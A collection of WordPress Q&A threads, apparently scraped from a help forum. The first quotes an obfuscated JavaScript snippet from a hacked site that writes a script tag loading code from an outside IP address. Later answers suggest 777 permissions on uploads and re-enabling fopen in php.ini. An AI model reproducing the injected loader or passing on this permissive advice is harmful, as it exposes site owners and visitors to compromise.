I recently found out that my website is infected with js malware.
Through a search, there are 3240 files that were infected with this script.
Just want to ask you guys how can I delete these infected files with this script using SSH
This is the malicious script :
Blockquote
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document_0xaae8[5]var _0xaae8 =["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document_0xaae8[5]/**
Blockquote
Thanks in advance !
Download your wp-content folder and database, delete your current wordpress installation and install fresh copy of wordpress,
delete all unused themes and plugins from downloaded wp-content and scan that folder and database using your antivirus or using https://www.virustotal.com/ or any antivirus from your linux OS ( if you're using linux )
its better if you'll also delete all the plugins and re-install a fresh copy from wordpress plugins repo, so you only have to scan the current theme being use and the database, if you have enough time, you can dig on the theme files to make sure theres no more malicious code.
re-upload the database and replace the wp-content of your fresh wordpress install from the scan wp-content of the old install.
Related
I'm working on a wordpress site hosted on an AWS Lightsail instance (Bitnami) and i'd like to have version control to work on our site themes with a coworker.
I like the idea of just having to git pull to make changes to the site.
In the wordpress folder (that contains wp-admin, licences, wp-config.php, etc...), there is the wp-content folder but it's a symbolic link that points outside the wordpress folder to root/bitnami/wordpress/wp-content. I can't use git in the wordpress folder but I can set it up in the root/bitnami/wordpress/wp-content but it feels like bad practice since it asks me for admin privileges for every command line.
Is there a reason the wp-content folder is a symbolic link that points to outside the wordpress folder or is it just a mistake from the person who set things up?
Is it okay to use git to bypass an ftp client in this case?
So I just had this same issue today, and I resolved this by moving the directories for .../wp-content to the location of the symlinks and deleting the symlinks.
This was my process (though you could delete the symlinks first):
Move wp-content mv /bitnami/wordpress/wp-content /location/of/wordpress/temporary-directory-name
Delete symlinks rm -f /location/of/wordpress/
Rename temporary-directory-name using move mv /location/of/wordpress/temporary-directory-name /location/of/wordpress/wp-content
You can then repeat the same steps for the wp-config.php file. Once this was done I was able to verify Wordpress was still working on my LightSail instance. Hope this helps
Good day! Why is it that I am not able to update my plugins in my Wordpress Website.
In my FTP File I have already set my plugins folder to 755 then configured my wp-contents to 755. In my wordpress Site Health, this is what is written in File Permission
The main WordPress directory Writable
The wp-content directory Writable
The uploads directory Writable
The plugins directory Writable
The themes directory Writable
I have done everything written in this site and still I can't update any of my plugins. I don't know what is wrong anymore or what should I do.
I am using CWP, with WordPress 5.5.1 and PHP version 7.4.10
One way to solve this problem, trying to change the FTP permissions by the “wp-config.php” file.
There're some steps to fix “Installation failed, could not create directory.” From your web hosting account, open the “File Manager”. Within the root folder, locate the “wp-config.php” file.
In your “wp-config.php” file, enter the following passage of code.
NOTE: Replace the information in brackets with your information.
define(‘FS_METHOD’, ‘ftpext’);
define(‘FTP_BASE’, ‘/pathtorootofyourblog/’);
define(‘FTP_USER’, ‘ftpusername’);
define(‘FTP_PASS’, ‘ftppassword’);
define(‘FTP_HOST’, ‘yoursite.com’);
define(‘FTP_SSL’, false);
Save the “wp-config.php” file.
Return to your dashboard and try to install the plugin or upgrade once again. This time, it should be done without any problems.
In wordpress development, we have to deal with upgrade version of plugins and I don't know how to manage code repository with them. actually, we have 3 folders like wp-content, wp-admin, wp-includes, ...
Should I push all of the code which belong to wordpress folder into the GIT repository? Then the new version of plugin will affect to changes of files.
How do I manage the changing of files as less as it can? Should I use .gitignore for it?
Updated: I found the solution at here with the examples. Check this link out
.It is really cool
WordPress can be a joy for running in a GIT repository, this is how I handle it.
I gitignore wp-config.php because that is usually different between local, staging and live sites.
I also gitignore the uploads folder because binary files in git suck and your repo will grow brutally fast. Plus it makes it a pain in the butt to do local development while the site is live.
There are some cool solutions out there, search for Bedrock by Roots for doing interesting deploys, but honestly the simplest way is just to make a repo of the entire install minus the uploads and wp-config.php.
Manually create the wp-config.php on the server.
Use rsync to manage the uploads or you could use FTP if you're not keen on the terminal.
This is the .gitignore file that I use for my projects.
/.idea/
*.log
/wp-includes/
/wp-admin/
/wp-content/advanced-cache.php
/wp-content/backup-db/
/wp-content/backups/
/wp-content/cache/
/wp-content/languages/
/wp-content/plugins/
/wp-content/upgrade/
/wp-content/uploads/
/wp-content/wflogs/
/wp-content/wp-cache-config.php
/.htaccess
/license.txt
/readme.html
I only work with private repositories so I don't have to exclude the wp-config.php.
Ok I know this has been answered a few times but as far as I can tell all answers are now outdated. Bitnami released a new installer. Instead of installing to xampp\htdocs\<name> it installs directly as xampp\apps\wordpress so I can't see a way of installing a new site.
I had stupidly renamed the folder and all instances of wordpress as a directory path to ezc only to find out that it didn't work. Turns out 4,300 files opening all at once isn't good for Notepad++...
For those of you aren't aware of the new file structure, it's as follows
xampp/
anonymous/
apache/
apps/
wordpress/
conf/
htdocs/
wp-admin/
wp-content/
wp-includes/
licenses/
tmp/
cgi-bin/
contrib/
[...]
How can I have multiple instances of WordPress hosted locally with XAMPP?
Just hopped onto the Bitnami community and found out how to create multiple sites.
Just pop the following into the command prompt (make sure you're in the same directory as installer)
bitnami-wordpress*.exe --wordpress_instance_name blog1
Replace the * with your version and blog1 with the name of your site.
Source: http://community.bitnami.com/t/installing-several-wp-sites-on-localhost/25924
i am using WordPress 3.6.1 and I have strange problem today. First I have to tell that my current website was copied from old website, both the WP files and database.
So in the current website, I try to install new plugin, but it returns error:
Downloading install package from http://downloads.wordpress.org/plugin/xml-sitemap-xml-sitemapcouk.zip…
Download failed. Could not open handle for fopen() to /home/k5841724/public_html/wp-content/uploads/xml-sitemap-xml-sitemapcouk.tmp
Then all my plugins are dissapered (Akismet, Hello Dolly, etc), and I can't install any plugin. Nothing wrong with my permission, /wp-content, /wp-includes, /wpcontent/uploads all are set to 755. Any idea what is the solution for this issue? Thanks.
addition note:
all my plugins folder (Akismet, etc) still there inside wp-content/plugins folder, but not appear in WP Dashboard.
You should check permissions for folder wp-content/uploads
I think wordpress can't write to this folder. Set for this folder permission 777 and try again.
I have experienced the same error with plugin installation.
In my case it was very informative to change WP_DEBUG to true in my wp-config.php file.
After doing so I have noticed the error message, telling me that open function is disabled due to security reasons.
Try changing your php.ini settings so that disable_functions doesn't contain fopen